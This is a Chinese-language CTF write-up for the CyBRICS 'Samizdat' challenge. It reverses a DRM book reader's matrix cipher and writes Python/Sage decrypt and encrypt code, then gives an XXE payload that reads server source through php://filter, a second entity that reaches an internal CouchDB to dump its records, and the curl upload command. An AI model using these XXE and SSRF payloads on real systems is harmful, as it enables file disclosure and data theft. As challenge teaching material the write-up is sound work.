CyBRICS CTF Samizdat Writeup

这题是在比赛结束后才做出来的, 比较可惜, 但是题目本身还是比较有意思的, 所以写个 Writeup.
(早知道早点起床做题了

首先打开来可以下载

  • 阅读器
  • guide.txt
  • 两本加密过的书

其中阅读器能解密书, 但是只能读前 100 页, 接下来自然是 IDA F5 伺候一下阅读器,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ( (unsigned int)decrypt((unsigned __int8 *)ptr, n, &v11, &v12) )
{
v9 = std::operator<<<std::char_traits<char>>(&_bss_start, "Failed to decrypt book");
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
}
else
{
v7 = decompress_book(v11, v12, &v14, &v13);
free(ptr);
if ( v7 )
{
v8 = std::operator<<<std::char_traits<char>>(&_bss_start, "Failed to decompress book");
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
return 1;
}
read_book(v14, v3, v13);
}

发现其实就是解密 + zlib 解压缩, 然后小说本体保存形式是 xml, 用 libxml 来解析.

接下来逆向解密算法, 发现在 decrypt 里面调用了 decrypt_block, 实际上是分块密码, 每 16 字节分块解密, 而 decrypt_block 的实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ptr = malloc(0x10uLL);
for ( i = 0; i <= 15; ++i )
{
for ( j = 0; j <= 15; ++j )
{
v1 = 0;
for ( k = 0; k <= 15; ++k )
v1 += Mminus[16 * k + j] * a1[k];
ptr[j] = v1;
}
for ( l = 0; l <= 15; ++l )
a1[l] = ptr[(unsigned __int8)Pminus[l]];
}
free(ptr);

转成 python 代码可能更容易看懂, 其中 Mminus 是大小 256 的数组, Pminus 是大小 16 的数组,

1
2
3
4
5
6
7
8
9
10
11
12
def decrypt_block(block):
block = bytearray(block)
ptr = [0 for i in range(16)]
for i in range(16):
for j in range(16):
t = 0
for k in range(16):
t += Mminus[16 * k + j] * block[k]
ptr[j] = t % 256
for l in range(16):
block[l] = ptr[Pminus[l]]
return block

学过线性代数可以看出, 其实就是算了个矩阵乘法, 然后置换一下, Mminus 就是个 16 * 16 的矩阵.

搞懂之后就可以写算法解密了,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Mminus = [
135, 25, 77, 128, 251, 9, 168, 169, 158, 82, 7, 213, 229, 180, 50, 53, 172,
215, 32, 243, 113, 44, 134, 5, 22, 41, 89, 130, 171, 42, 81, 122, 38, 36,
125, 25, 127, 38, 246, 241, 34, 33, 153, 238, 105, 228, 82, 86, 43, 81,
161, 104, 26, 102, 238, 143, 134, 142, 221, 135, 141, 241, 71, 237, 153,
159, 65, 0, 231, 133, 139, 200, 78, 53, 197, 62, 167, 79, 221, 92, 164,
120, 15, 48, 121, 90, 62, 163, 231, 118, 173, 36, 125, 92, 123, 165, 5,
106, 129, 156, 145, 228, 50, 99, 209, 164, 50, 115, 230, 125, 17, 76, 208,
67, 38, 0, 246, 90, 54, 107, 115, 172, 92, 153, 102, 32, 1, 21, 80, 145,
209, 176, 31, 250, 68, 90, 243, 94, 112, 161, 234, 223, 204, 79, 209, 222,
16, 77, 188, 221, 125, 90, 112, 10, 80, 103, 77, 99, 139, 178, 137, 128,
192, 57, 24, 243, 125, 252, 140, 90, 250, 132, 220, 194, 154, 121, 114, 55,
27, 129, 61, 196, 244, 42, 191, 242, 188, 254, 166, 59, 232, 94, 237, 209,
192, 58, 47, 238, 147, 6, 244, 230, 134, 184, 235, 16, 53, 81, 121, 248,
117, 158, 17, 87, 247, 205, 16, 129, 123, 255, 3, 89, 11, 98, 58, 125, 181,
236, 40, 99, 141, 232, 115, 85, 100, 205, 190, 84, 226, 217, 214, 115, 62,
216, 239, 44, 111, 69, 135, 142, 248, 240, 180, 157, 41, 105
]
Pminus = [
'\f', '\x0F', '\x0E', '\b', '\x03', '\v', '\r', '\0', '\a', '\t', '\n',
'\x06', '\x02', '\x01', '\x05', '\x04'
]

import zlib

for seq, c in enumerate(Pminus):
Pminus[seq] = ord(c)

f = open('3ba9318b509034cb7b506df0faef4d80.fb2enc', 'rb').read()
#f = open('6506dad64d2353f25cca891f81443a8e.fb2enc', 'rb').read()
def decrypt_block(block):
block = bytearray(block)
ptr = {}
for i in range(16):
for j in range(16):
t = 0
for k in range(16):
t += Mminus[16 * k + j] * block[k]
ptr[j] = t % 256
for l in range(16):
block[l] = ptr[Pminus[l]]
return block

book = bytearray()

for i in range(0, len(f), 16):
book.extend(decrypt_block(f[i:i + 16]))

dec = zlib.decompress(bytes(book))
open('output2.xml', 'wb').write(dec)

然后解密给的两本书, 发现里面真的就是两本小说 (
而且正文都是西里尔字母, 也看不懂 233

接下来的目标应该不是这两本小说, 再回到网站.
访问 robots.txt, 发现给了提示

1
2
User-agent: *
Disallow: /authorszone

http://45.77.219.97/authorszone 里面是上传书的地方, 而且只能上传加密过后的书.
再结合之前书的本体是 xml, 那么可以想到是 XXE 了.
接下来是写出加密算法, 实际上就是矩阵方程求解, 因为是 mod 256 整数环上的矩阵, 直接用 sage 来算了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# This file was *autogenerated* from the file matrix.sage
from sage.all_cmdline import * # import sage library

_sage_const_256 = Integer(256)

def get_solve(y):
mat = [[135, 172, 38, 43, 153, 164, 5, 208, 80, 209, 137, 114, 237, 121, 58, 214], [25, 215, 36, 81, 159, 120, 106, 67, 145, 222, 128, 55, 209, 248, 125, 115], [77, 32, 125, 161, 65, 15, 129, 38, 209, 16, 192, 27, 192, 117, 181, 62], [128, 243, 25, 104, 0, 48, 156, 0, 176, 77, 57, 129, 58, 158, 236, 216], [251, 113, 127, 26, 231, 121, 145, 246, 31, 188, 24, 61, 47, 17, 40, 239], [9, 44, 38, 102, 133, 90, 228, 90, 250, 221, 243, 196, 238, 87, 99, 44], [168, 134, 246, 238, 139, 62, 50, 54, 68, 125, 125, 244, 147, 247, 141, 111], [169, 5, 241, 143, 200, 163, 99, 107, 90, 90, 252, 42, 6, 205, 232, 69], [158, 22, 34, 134, 78, 231, 209, 115, 243, 112, 140, 191, 244, 16, 115, 135], [82, 41, 33, 142, 53, 118, 164, 172, 94, 10, 90, 242, 230, 129, 85, 142], [7, 89, 153, 221, 197, 173, 50, 92, 112, 80, 250, 188, 134, 123, 100, 248], [213, 130, 238, 135, 62, 36, 115, 153, 161, 103, 132, 254, 184, 255, 205, 240], [229, 171, 105, 141, 167, 125, 230, 102, 234, 77, 220, 166, 235, 3, 190, 180], [180, 42, 228, 241, 79, 92, 125, 32, 223, 99, 194, 59, 16, 89, 84, 157], [50, 81, 82, 71, 221, 123, 17, 1, 204, 139, 154, 232, 53, 11, 226, 41], [53, 122, 86, 237, 92, 165, 76, 21, 79, 178, 121, 94, 81, 98, 217, 105]]
R = IntegerModRing(_sage_const_256 )
y = vector(R, y)
mat = matrix(R, mat)
ret = mat.solve_right(y)
return ret


Mminus = [
135, 25, 77, 128, 251, 9, 168, 169, 158, 82, 7, 213, 229, 180, 50, 53, 172,
215, 32, 243, 113, 44, 134, 5, 22, 41, 89, 130, 171, 42, 81, 122, 38, 36,
125, 25, 127, 38, 246, 241, 34, 33, 153, 238, 105, 228, 82, 86, 43, 81,
161, 104, 26, 102, 238, 143, 134, 142, 221, 135, 141, 241, 71, 237, 153,
159, 65, 0, 231, 133, 139, 200, 78, 53, 197, 62, 167, 79, 221, 92, 164,
120, 15, 48, 121, 90, 62, 163, 231, 118, 173, 36, 125, 92, 123, 165, 5,
106, 129, 156, 145, 228, 50, 99, 209, 164, 50, 115, 230, 125, 17, 76, 208,
67, 38, 0, 246, 90, 54, 107, 115, 172, 92, 153, 102, 32, 1, 21, 80, 145,
209, 176, 31, 250, 68, 90, 243, 94, 112, 161, 234, 223, 204, 79, 209, 222,
16, 77, 188, 221, 125, 90, 112, 10, 80, 103, 77, 99, 139, 178, 137, 128,
192, 57, 24, 243, 125, 252, 140, 90, 250, 132, 220, 194, 154, 121, 114, 55,
27, 129, 61, 196, 244, 42, 191, 242, 188, 254, 166, 59, 232, 94, 237, 209,
192, 58, 47, 238, 147, 6, 244, 230, 134, 184, 235, 16, 53, 81, 121, 248,
117, 158, 17, 87, 247, 205, 16, 129, 123, 255, 3, 89, 11, 98, 58, 125, 181,
236, 40, 99, 141, 232, 115, 85, 100, 205, 190, 84, 226, 217, 214, 115, 62,
216, 239, 44, 111, 69, 135, 142, 248, 240, 180, 157, 41, 105
]
Pminus = [
'\f', '\x0F', '\x0E', '\b', '\x03', '\v', '\r', '\0', '\a', '\t', '\n',
'\x06', '\x02', '\x01', '\x05', '\x04'
]
rPminus = []

for seq, c in enumerate(Pminus):
Pminus[seq] = ord(c)

for i in range(16):
rPminus.append(Pminus.index(i))

import zlib

def encrypt_block(block):
block = bytearray(block)

for i in range(16):
tmp = bytearray([0 for i in range(16)])
for l in range(16):
tmp[l] = block[rPminus[l]]
block = tmp
block = get_solve(list(block))
return bytearray(block)

def encrypt(data):
data = zlib.compress(data)
data = bytearray(data)
pad = 16 - len(data) % 16
data.extend([pad for _ in range(pad)])

enc = bytearray()
for i in range(0, len(data), 16):
enc.extend(encrypt_block(data[i:i + 16]))
return enc

r = encrypt(open('evil.xml').read())
open('evil.fb2enc', 'w').write(r)

接下来构造恶意 xml 并加密上传, 这个可以把正文给删了, 节省加密时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/proc/self/cwd/index.php" >]>
<FictionBook xmlns:l="http://www.w3.org/1999/xlink" xmlns="http://www.gribuser.ru/xml/fictionbook/2.0">
<description>

<title-info>
<genre>fiction</genre>
<author>
<first-name>Антуан</first-name>
<middle-name>де Сент</middle-name>
<last-name>Экзюпери</last-name>
</author>
<book-title>Маленький Принц</book-title>

<annotation>
123
</annotation>
<date>&xxe;</date>
<coverpage>
<image l:href="#cover.jpg" />
</coverpage>
<lang>ru</lang>
<src-lang>fr</src-lang>
<translator>
<first-name>Нора</first-name>
<last-name>Галь</last-name>
<home-page>http://www.vavilon.ru/noragal/content.html</home-page>
</translator>
</title-info>

<document-info>
<author>
<first-name>Дмитрий</first-name>
<middle-name>Петрович</middle-name>
<last-name>Грибов</last-name>
<email>grib@gribuser.ru</email>
</author>
<author>
<first-name>Faiber</first-name>
<last-name />
<email>faiber@yandex.ru</email>
</author>

<program-used>FB Tools</program-used>
<date>2006-01-14</date>
<src-url>http://www.vavilon.ru/noragal/pp/</src-url>
<src-ocr>Справочная Служба Русского Языка</src-ocr>
<id>0CB33702-6AE9-4377-9AFA-3BA2EF2F37F6</id>
<version>1.2</version>
<history>
<p>v 1.1 — дополнительное форматирование — Faiber</p>

<p>v 1.2 — изменена обложка — Faiber</p>

</history>
</document-info>
<publish-info>
<book-name>Маленький Принц</book-name>
<city>Фрунзе</city>
<year>1982</year>
</publish-info>
<custom-info info-type="general" />
</description>

<body>
<title>
<p>Антуан де Сент-Экзюпери</p>

<empty-line />
<p>Маленький принц</p>

</title>
<section>
123
</section>

</body>
</FictionBook>

然后利用 xxe, 就能读文件了, 这里各种尝试, fuzz 出来 /proc/self/cwd/index.php, 可以直接读到源码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?php
error_reporting(E_ALL);
function save2db($data) {
$headers = array(
"Content-type: application/json",
);

$data = json_encode($data);

$myCurl = curl_init();
curl_setopt_array($myCurl, array(
CURLOPT_URL => 'http://127.0.0.1:5984/library',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_ENCODING => 'gzip,deflate',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data
));
$response = curl_exec($myCurl);
curl_close($myCurl);
return $response;
}

function process($xmlfile) {
libxml_disable_entity_loader (false);

$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT);
$creds = simplexml_import_dom($dom);

if (!isset($creds->description)) {
return "Description not found";
}
if (!isset($creds->description->{'title-info'})) {
return "Title info not found";
}

$titleinfo = $creds->description->{'title-info'};
foreach (['genre', 'author', 'book-title', 'annotation', 'date', 'lang'] as $item) {
if (!property_exists($titleinfo, $item)) {
return $item . " not found";
}
}

save2db(['title' => base64_encode($titleinfo->{'book-title'}), 'date' => $titleinfo->{'date'}, 'url' => bin2hex(random_bytes(16))]);

return $titleinfo;
}

$results = "";

if (isset($_FILES["newbook"])) {

if ($_FILES['newbook']['error'] == UPLOAD_ERR_OK
&& is_uploaded_file($_FILES['newbook']['tmp_name'])
) {

$name = $_FILES['newbook']['tmp_name'];
exec("/var/www/main d " . $name . " " . $name . ".decoded");

if (!is_file($name . ".decoded")) {
echo "Decoding ERROR";
}
else {
$data = file_get_contents($name . ".decoded");
$data = gzuncompress($data);
$results = process($data);
}

}

}
?>

<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

<title>New CyBRICS BookStore</title>

<!-- Bootstrap core CSS -->
<link href="../css/bootstrap.min.css" rel="stylesheet">

</head>

<body>

<div class="d-flex flex-column flex-md-row align-items-center p-3 px-md-4 mb-3 bg-white border-bottom box-shadow">
<h5 class="my-0 mr-md-auto font-weight-normal">CyBRICS BookStore</h5>
<nav class="my-2 my-md-0 mr-md-3">
<a class="p-2 text-dark" href="#">Authors zone</a>
</nav>
<a class="btn btn-outline-primary" href="#">Sign up</a>
</div>

<div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
<h1 class="display-4">Authors zone</h1>
<p class="lead">Our site is under development, but you already can <a href="">download DRM</a> and demo books</p>
</div>

<div class="container">

<div>
<h2>You can add your book</h2>
<div><small>* You will be further informed about review results</small></div>
<div>
<form enctype="multipart/form-data" action="/authorszone/index.php" method="POST">
<input type="file" name="newbook">
<input type="submit" value="Submit for review">
</form>
</div>
<div style="margin-top: 10px">
<table class="table table-striped">
<?php
if (is_object($results)) {
echo "<h2>Book is under review:</h2>";
foreach (['genre', 'author', 'book-title', 'annotation', 'date', 'lang'] as $item) {
echo "<tr><td>".$item."</td><td>".$results->{$item}->asXML()."</td></tr>";
}
} else {
echo $results;
}
?>
</table>
</div>
</div>

<footer class="pt-4 my-md-5 pt-md-5 border-top">
<div class="row">
<div class="col-12 col-md">
<img class="mb-2" src="https://getbootstrap.com/assets/brand/bootstrap-solid.svg" alt="" width="24" height="24">
<small class="d-block mb-3 text-muted">&copy; 2018</small>
</div>
</div>
</footer>
</div>


<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
</body>
</html>

可以看到为了绕过 libxml 自带的安全措施, 出题人也是煞费苦心 233.
在源码里面可以发现用了 couchdb, 好在支持 http 协议, 我们通过 http 访问 couchdb 的各种 API.
翻了翻文档, 可以发现用

1
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:5984/library/_changes?include_docs=true" >]>

就能直接脱裤 (比较大, 浏览器会卡死, 建议直接 curl 脱

1
curl 'http://45.77.219.97/authorszone/index.php' -H 'Cache-Control: max-age=0' -H 'Origin: http://45.77.219.97' -H 'Upgrade-Insecure-Requests: 1' -H 'DNT: 1'  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3' -H 'Referer: http://45.77.219.97/authorszone/index.php' -F 'newbook=@evil.fb2enc' --compressed --insecure -vv -o asd2.html

得到

1
2
3
{"seq":1,"id":"648ed731593e7c015c96df3f21000a2b","changes":[{"rev":"1-d8bf4bb75eae1dd6117c8a59b952e27e"}],"doc":{"_id":"648ed731593e7c015c96df3f21000a2b","_rev":"1-d8bf4bb75eae1dd6117c8a59b952e27e","title":"Mona Lisa Overdrive","url":"4cb21fe9786c74f0b83f1fa808e30e4d"}},
{"seq":2,"id":"648ed731593e7c015c96df3f21000ac6","changes":[{"rev":"1-4802d0cdd11425ffcc9500b5f5db9a56"}],"doc":{"_id":"648ed731593e7c015c96df3f21000ac6","_rev":"1-4802d0cdd11425ffcc9500b5f5db9a56","title":"Small Prince","url":"6506dad64d2353f25cca891f81443a8e"}},
{"seq":3,"id":"648ed731593e7c015c96df3f21000ba3","changes":[{"rev":"1-094bdefdba07bc63ae11584c79c51909"}],"doc":{"_id":"648ed731593e7c015c96df3f21000ba3","_rev":"1-094bdefdba07bc63ae11584c79c51909","title":"Flag Book","url":"3ba9318b509034cb7b506df0faef4d80"}},

结合 url 的参数, 在 http://45.77.219.97/books/3ba9318b509034cb7b506df0faef4d80.fb2enc 就能下到 Flag Book 啦.
解密一下, 然后就可以找到在里面的 flag 一枚